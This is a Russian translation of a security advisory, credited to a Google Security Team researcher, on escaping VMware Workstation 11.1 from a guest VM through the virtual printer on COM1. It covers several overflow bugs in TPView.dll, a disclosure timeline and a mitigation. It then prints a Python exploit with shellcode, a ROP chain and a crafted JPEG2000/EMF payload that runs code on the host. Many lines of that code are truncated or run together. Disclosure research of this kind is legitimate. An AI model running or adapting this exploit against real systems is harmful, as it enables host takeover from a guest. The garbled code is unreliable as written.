Побег из VMware Workstation через порт COM1

Побег из VMware Workstation через порт COM1

В VMware Workstation есть возможность «виртуализации» принтеров, что позволяет нам распечатать документ из гостевой ОС при помощи принтеров, установленных в операционной системе на хосте.

Автор: Kostya Kortchinsky (Google Security Team)

Введение

В VMware Workstation есть возможность «виртуализации» принтеров, что позволяет нам распечатать документ из гостевой ОС при помощи принтеров, установленных в операционной системе на хосте. В VMware Workstation 11.1 виртуальный принтер добавляет по умолчанию ко всем новым виртуальным машинам, а на современных Windows-хостах, как правило, Microsoft XPS Document Writer используется как принтер по умолчанию. Даже если на гостевой ОС не установлен пакет VMware Tools, порт COM1 может быть использован для общения с прокси-сервером, связанным с печатью, в операционной системой на хосте.

Во время запуска VMWare от имени любого пользователя vmware-vmx.exe на хосте запускает vprintproxy.exe. vmware-vmx.exe и vprintproxy.exe общаются между собой при помощи именованных каналов. При записи в порт COM1 на гостевой ОС пакеты в конечном итоге попадают на обработку в vprintproxy.exe.

Я не буду вдаваться в детали протокола, но скажу, что уровень виртуализации принтеров, по сути, представляет собой копирование файлов EMFSPOOL из гостевой ОС на хост. Файлы в формате EMFSPOOL и вложенные EMF-файлы обрабатываются на хосте при помощи vprintproxy.exe. Кроме того, эти файлы также можно просматривать (там же на хосте) средствами библиотеки TPView.dll. Если мы смастерим специальные файлы в форматах EMFSPOOL и EMF и передадим нашу поделку на порт COM1, то сможем при помощи дыр в процессе vprintproxy.exe выполнить произвольный код на хосте.

Рабочая среда

В качестве операционной системы хоста выступает Windows 8.1 amd64. Гостевая ОС - Windows 7 x86, запущенная на VMware Workstation 11.1 со всеми патчами. Исследования на других платформах не проводились.

В конце статьи приведен эксплоит, протестированный только для вышеуказанной платформы.

Отрицательное целочисленное переполнение при обработке EMR-записей определенных типов

Функция CTPViewDoc::WriteEMF из библиотеки TPView.dll предварительно обрабатывает EMF-файл и перезаписывает некоторые участки посредством замены определенных типов EMR-записей. В отношении EMR-записей с типом 0x8000 и 0x8002 будет выделяться память размером, который определен для конкретной записи. Далее из той записи будет копироваться 8 байт, размер уменьшаться на 8, а затем файл будет динамически считываться в специально подготовленный буфер. Если размер EMR-записи меньше 8, тогда при уменьшении размера будет происходить отрицательное переполнение, что в свою очередь приведет к переполнению кучи.

Рисунок 1: Участок функции CTPViewDoc::WriteEMF, отвечающий за обработку EMR-записи 0x8000

В вышеуказанном участке кода нет проверки, что размер записи не менее 8. Отрицательное целочисленное переполнение на 1 приведет к тому, что большое количество байт будет считываться в буфер меньшего размера, чем требуется, и куча переполнится.

При обработке EMR-записи 0x8000 происходит ровно то же самое.

Множественные уязвимости при обработке EMR-записи 0x8002

В случае с обработкой EMR-записи 0x8002 в библиотеке не происходит проверка размеров и смещений, поступающих от соответствующих структур, и выполняются небезопасные вызовы функции memcpy().

Рисунок 2: Множественные небезопасные вызовы memcpy()

В вышеуказанном участке кода содержимое регистров esi и ebx полностью под контролем пользователя и соответствует содержимому структуры EMR-записи 0x8002. Размер памяти, выделяемый под регистр ebx, должен быть не менее 0x50 байт, но такой проверки не проводится, что может привести к переполнению кучи и нежелательной перезаписи памяти.

Множественные уязвимости при обработке EMR-записи 0x8000

По-видимому, EMR-запись 0x8000 содержит структуру, описывающую сжатое изображение в формате JPEG2000. При вычислении размера динамически выделяемой памяти происходит несколько целочисленных переполнений, что может привести к переполнению кучи.

Рисунок 3: Участок кода, связанный с обработкой EMR-записи 0x8000

Программа выполняет небезопасные 32-битные вычисления, приводящие к ошибке при проверке размера перед вызовом функции memcpy(), что в свою очередь приводит к переполнению кучи. Из-за предыдущих арифметических операций проверка размера выделяемой памяти сама по себе может стать причиной заворачивания (wrap). К тем же самым проблемам может привести и последующее добавление (см. рисунок ниже):

Рисунок 4: Проверка размера перед выделением памяти

Переполнение стека при обработке изображений в формате JPEG2000

Эта уязвимость очень похожа на CVE-2012-0897 [3]. Весьма вероятно, что в обоих случаях использовалась одна и та же самая библиотека. Просто в TPView.dll соответствующие функции оставались непропатченными в течение последних двух лет. При обработке записи 0xff5c (Quantization Default) пользователь может вызвать переполнение буфера, работающего по принципу стека, в функции, где нет защитного механизма «stack cookie», что в свою очередь приведет к полному контролю над регистром EIP.

Рисунок 5: Участок кода, обрабатывающий изображение в формате JPEG2000

Здесь парсер формата JPEG2000 будет считывать только слова, поскольку размер записи 0xff5c разрешает это делать. Загвоздка в том, что принимающий буфер может вместить максимум 0xc4 байт.

Множественные уязвимости при обратном вызове функции для подсчета EMF-записей

Функция CEMF::EnhMetaFileProc из библиотеки TPView.dll используется для обратного вызова функции EnumEnhMetaFile. Кроме того, EnhMetaFileProc обрабатывает EMR-записи некоторых типов прежде, чем «поиграться» с ними. Проверка корректности обрабатываемых записей оставляет желать лучшего, что приводит к множественному чтению и записи вне допустимых границ памяти.

Рисунок 6: Обработка записи EMR_SMALLTEXTOUT

Длина записи EMR_SMALLTEXTOUT должна быть не менее 0x34 байт. Перед тем, как проводить операцию над полями структуры, должна проводиться проверка длины. Но этого не делается.

Рисунок 7: Обработка записи EMR_EXTTEXTOUTW

При обработке записи EMR_EXTTEXTOUTW возникает та же самая проблема.

Произвольное обнуление памяти при проверке контрольной суммы у шрифта TrueType

При извлечении шрифта TrueType из файла EMFSPOOL перед дальнейшей обработкой в библиотеке TPView.dll проверяется контрольная сумма. Сначала в конце каждой таблицы исключаются все пробелы, после чего вычисляется контрольная сумма. Во время вычисления контрольной суммы содержимое поля «offset» не проверяется, а сразу же добавляется к указателю на буфер шрифта. Несмотря на то, что существует проверка, чтобы мы не промахнулись мимо окончания буфера шрифта, ничто не мешает нам обнулить и указать на память перед буфером, поскольку 32-битная арифметика «завернется».

Рисунок 8: Защитные проверки от перепрыгивания конца буфера

Вышеуказанные проверки обходятся при помощи «отрицательного» смещения, что приводит к вызову kk_MemsetAndChecksum:

Рисунок 9: Результат использования отрицательного смещения

В итоге становится возможным обнуление от 1 до 3 байт (размер отступа) в произвольном месте относительно буфера со шрифтом, поскольку буфер находится до обнуляемого участка.

Дополнительные соображения

Даже при запуске на 64-битной платформе vprintproxy.exe работает как 32-битный процесс. Следует отметить, что несколько модулей, загружаемых vprintproxy.exe, не поддерживают ASLR. Например:

  • iconv.dll
  • TPClnt.dll
  • TPClntloc.dll
  • TPClnVM.dll
  • TPView.dll

Поскольку все вышеуказанные DLL’ки используются один и тот же адрес загрузки в память (0x10000000), только iconv.dll будет загружаться по этому адресу. Остальные библиотеки будут загружаться по случайным адресам.

Кроме того, обработка формата JPEG2000 происходит внутри конструкции try-catch, и все исключения отлавливаются. Это позволяет злоумышленнику «подобрать» способ успешного проникновения, поскольку процесс vprintproxy.exe будет оставаться живым даже при нарушениях прав доступа.

Что предпринять для защиты от угрозы

Отключите виртуальный принтер или вообще удалите это устройство в настройках VMware. После этого vprintproxy.exe запускаться не будет.

Версии настоящего документа

1.0: Первая версия

1.1: Добавлен раздел «Произвольное обнуление памяти при проверке контрольной суммы у шрифта TrueType».

1.2: Добавлен раздел «Отрицательное целочисленное переполнение при обработке EMR-записей определенных типов».

Хронология событий

5 марта 2015 года: первоначальная версия отчета отправлена на почту security@vmware.com.

6 марта 2015 года: VMware Security Response Centre подтвердил факт получения отчета.

12 марта 2015 года: отправлен обновленный отчет.

17 марта 2015 года: VSRC указал примерное время исправления уязвимостей.

17 марта 2015 года: отправлен обновленный отчет.

18 марта 2015 года: в VSRC отправлена информация о новых уязвимостях.

10 апреля 2015 года: в VMware сообщили предполагаемую дату (9 июня) обнародования всех уязвимостей.

21 апреля 2015 года: в VMware выпустили 5 бюллетеней, касающихся найденных уязвимостей (CVE-2015-2336 - 2340).

9 июня 2015 года: выпущен VMware Workstation 11.1.1 для Windows и VMSA-2015-0004.

Эксплоит

Эксплоит, показанный ниже, позволяет выполнить произвольный код на хосте при помощи уязвимости, связанной с переполнением стека, возникающего во время обработки изображения в формате JPEG2000. В гостевой ОС на порт COM1 отсылаются специально сформированные файлы в формате EMFSPOOL и EMF. Административных привилегий на гостевой ОС не требуется.

Помимо формирования нужных файлов в формате EMFSPOOL и EMF единственной сложность состояла в создании ROP-цепи на базе библиотеки iconv.dll. Эта DLL’ка не очень подходит для решения данной задачи.

Предполагается, что в системе используется iconv.dll версии 1.9.0.1 и библиотека TPview.dll версии 8.8.856.1, но поскольку в парсере формата JPEG2000 отлавливаются все исключения, при многократных попытках могут появиться дополнительные цели.

from ctypes import *
from ctypes . wintypes import BYTE
from ctypes . wintypes import WORD
from ctypes . wintypes import DWORD
import sys
import struct
import binascii
import array
import zlib
class DCB ( Structure ):
_fields_ =[
( 'DCBlength' , DWORD ),
( 'BaudRate' , DWORD ),
( 'fBinary' , DWORD , 1 ),
( 'fParity' , DWORD , 1 ),
( 'fOutxCtsFlow' , DWORD , 1 ),
( 'fOutxDsrFlow' , DWORD , 1 ),
( 'fDtrControl' , DWORD , 2 ),
( 'fDsrSensitivity' , DWORD , 1 ),
( 'fTXContinueOnXoff' , DWORD , 1 ),
( 'fOutX' , DWORD , 1 ),
( 'fInX' , DWORD , 1 ),
( 'fErrorChar' , DWORD , 1 ),
( 'fNull' , DWORD , 1 ),
( 'fRtsControl' , DWORD , 2 ),
( 'fAbortOnError' , DWORD , 1 ),
( 'fDummy2' , DWORD , 17 ),
( 'wReserved' , WORD ),
( 'XonLim' , WORD ),
( 'XoffLim' , WORD ),
( 'ByteSize' , BYTE ),
( 'Parity' , BYTE ),
( 'StopBits' , BYTE ),
( 'XonChar' , c_char ),
( 'XoffChar' , c_char ),
( 'ErrorChar' , c_char ),
( 'EofChar' , c_char ),
( 'EvtChar' , c_char ),
( 'wReserved1' , WORD ),
]
class COMMTIMEOUTS ( Structure ):
_fields_ =[
( 'ReadIntervalTimeout' , DWORD ),
( 'ReadTotalTimeoutMultiplier' , DWORD ),
( 'ReadTotalTimeoutConstant' , DWORD ),
( 'WriteTotalTimeoutMultiplier' , DWORD ),
( 'WriteTotalTimeoutConstant' , DWORD ),
]
class TPVM :
SERIAL_PORT = b'\\\\.\\COM1'
def __init__ ( self ):
self . hPort = windll . kernel32 . CreateFileA ( self . SERIAL_PORT ,
0xc0000000 ,
#GENERIC_READ|GENERIC_WRITE
3 , #FILE_SHARE_READ|FILE_SHARE_WRITE
None ,
3 , #OPEN_EXISTING
0 ,
None )
if ( self . hPort & 0xffffffff )== 0xffffffff :
raise Exception ( 'the serial port could not be opened
(0x%08x)' %( GetLastError ()))
if not windll . kernel32 . SetupComm ( self . hPort ,
0x20000 ,
0x84d0 ):
raise WinError ()
dcb = DCB ()
dcb . DCBlength = 0x1c
dcb . BaudRate = 0x1C200
dcb . fBinary = 1
dcb . fOutxCtsFlow = 1
dcb . fDtrControl = 2
dcb . fRtsControl = 2
dcb . ByteSize = 8
dcb . fAbortOnError = 1
windll . kernel32 . SetCommState ( self . hPort ,
byref ( dcb ))
commtimeouts = COMMTIMEOUTS ()
commtimeouts . ReadIntervalTimeout = 0
commtimeouts . ReadTotalTimeoutMultiplier = 0
commtimeouts . ReadTotalTimeoutConstant = 20000
commtimeouts . WriteTotalTimeoutMultiplier = 0
commtimeouts . WriteTotalTimeoutConstant = 20000
if not windll . kernel32 . SetCommTimeouts ( self . hPort ,
byref ( commtimeouts )):
raise WinError ()
def __write_packet ( self , buffer ):
bytesWritten = DWORD ( 0 )
if not windll . kernel32 . WriteFile ( self . hPort ,
buffer ,
len ( buffer ),
byref ( bytesWritten ),
None ):
raise WinError ()
print ( '%d bytes written' %( bytesWritten . value ))
def __read_packet ( self , n ):
buffer = c_buffer ( n )
bytesRead = DWORD ( 0 )
if not windll . kernel32 . ReadFile ( self . hPort ,
buffer ,
n ,
byref ( bytesRead ),
None ):
raise WinError ()
print ( '%d bytes read' %( bytesRead . value ))
return buffer . raw
def __write ( self , buffer ):
while len ( buffer )!= 0 :
n = min ( len ( buffer ), 0x7ffd )
self . __write_packet ( struct . pack ( ' buffer = buffer [ n :]
def __read_1byte ( self ):
b = self . __read_packet ( 1 )
if len ( b )!= 1 :
return 1
return struct . unpack ( ' def do_command ( self , cmd ):
self . __write_packet ( struct . pack ( ' if cmd == 0x8002 :
return 0
return self . __read_1byte ()
def do_data ( self , d ):
self . __write ( d )
return self . __read_1byte ()
def close ( self ):
windll . kernel32 . CloseHandle ( self . hPort )
def main ( args ):
#some constants
PRINTER_ID = 1 #should probably be an argument really
SHELLCODE = binascii . a2b_hex ( 'e8000000005b8db31b010000568db313010000566a0268884e0d00e8
170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14
ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff35300000
00588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d8
8b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c074
0883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db
31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00
ea6f0000945d0300000000000000000063616c632e65786500' ) #Didier Stevens'
winexec/exitthread
WRITABLE = 0x1010ff00 #end of the .idata section of iconv.dll
BASE = 0x40000000 #where we want the virtualalloc
t = TPVM ()
t . do_command ( 0x8001 )
#header
t . do_data ( struct . pack ( '<20sIIII' ,( '%d' %( PRINTER_ID )). encode ( 'utf8'
), 2 , 0xd , 0 , 0 ))
#jobheader
t . do_data ( binascii . a2b_hex ( '310001001400150016001700180021002f0030000000000063727970
746f61640050494e42414c4c57495a415244000000' ))
###############
#emf
emf = b''
#emr_header
emf += struct . pack ( ' emf += struct . pack ( ' emf += struct . 

pack ( ' emf += b' EMF' #record signature
emf += struct . pack ( ' emf += struct . pack ( ' emf += struct . 

pack ( ' emf += struct . pack ( ' emf += struct . pack ( ' emf += struct . 

pack ( ' emf += struct . pack ( ' emf += struct . pack ( ' emf +=( '\0' * 0xc ). encode ( 'utf16le'
)
#overflowing buffer
o = b''
o += struct . pack ( ' o += struct . pack ( ' idata!_iob_func
o += struct . pack ( ' ecx&pop ecx&retn
o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' )
o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' used
o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' ###print('len(o)=0x%08x'%(len(o))) #must be <0xc4
o += b'A' *( 0xc4 len
( o ))
o += struct . pack ( ' eip
o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' offset
o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . 

pack ( ' o += struct . pack ( ' o += struct . pack ( ' o += struct . pack ( ' edi
o += struct . pack ( ' while ( len ( o )2
)% 6 != 0 : #padding to satisfy length requirements
o += b'Z'
#jp2 contents the
code still parses the codestream if no valid header is
present, so I skipped it
j = b''
j += struct . pack ( '>H' , 0xff4f ) #SOC marker
j += struct . pack ( '>HH' , 0xff51 , 0x29 ) #SIZ marker
j += struct . pack ( '>HIIIIIIII' , 0 , 1 , 9 , 0 , 0 , 1 , 9 , 0 , 0 )
j += struct . pack ( '>HBBB' , 1 , 7 , 1 , 1 )
j += struct . pack ( '>HH' , 0xff5c , 3 + len ( o )) #QCD marker
j += struct . pack ( '>B' , 2 ) #sqcd
for i in range ( 0 , len ( o ), 2 ): #switch the endianness of the words
j += struct . pack ( '>H' ,( o [ i + 1 ]<< 8 )+ o [ i ])
j += struct . pack ( '>H' , 0xffd9 ) #EOC marker
j += b'\x90' *( 0x200 len
( j )) #unprocessed data
j += SHELLCODE
j += b'\xcc' *( 0x10000 len
( j )) #has to be at least 10000h long to avoid a read AV
#custom 8000h record
r = b''
r += b'A' * 0x28
r += struct . pack ( ' r += b'B' * 0x1c
r += struct . pack ( ' r += b'E' * 0x18
r += j
emf += struct . pack ( ' #emr_eof
emf += struct . pack ( ' emf = emf [: 0x30 ]+ struct . pack ( ' #devmode
dm = binascii . a2b_hex ( '7000720069006e0074006500720000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000001040005dc0008040ff
f010001000100de0a66086400010007005802020001005802010001004c0065007400740065007200000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000545045580f020000000c00000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000001000000010110141e000e1464000614f401060f000001000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000054505044050
00000' )
dm = b'%%EMF' + struct . pack ( ' #emf_spool
h = struct . pack ( ' )+ struct . pack ( ' 0xc , len ( emf ))
h = struct . pack ( ' #emri_metafile_ext
f = struct . pack ( ' e = dm + h + emf + f
d = zlib . compress ( e , 9 )
d = struct . pack ( ' d = struct . pack ( ' ###############
t . do_data ( d )
t . do_command ( 0x8002 )
t . close ()
if __name__ == '__main__' :
main ( sys . argv )

Наш канал горячее, чем поверхность Солнца!

5778 К? Пф! У нас градус знаний зашкаливает!

Подпишитесь и воспламените свой разум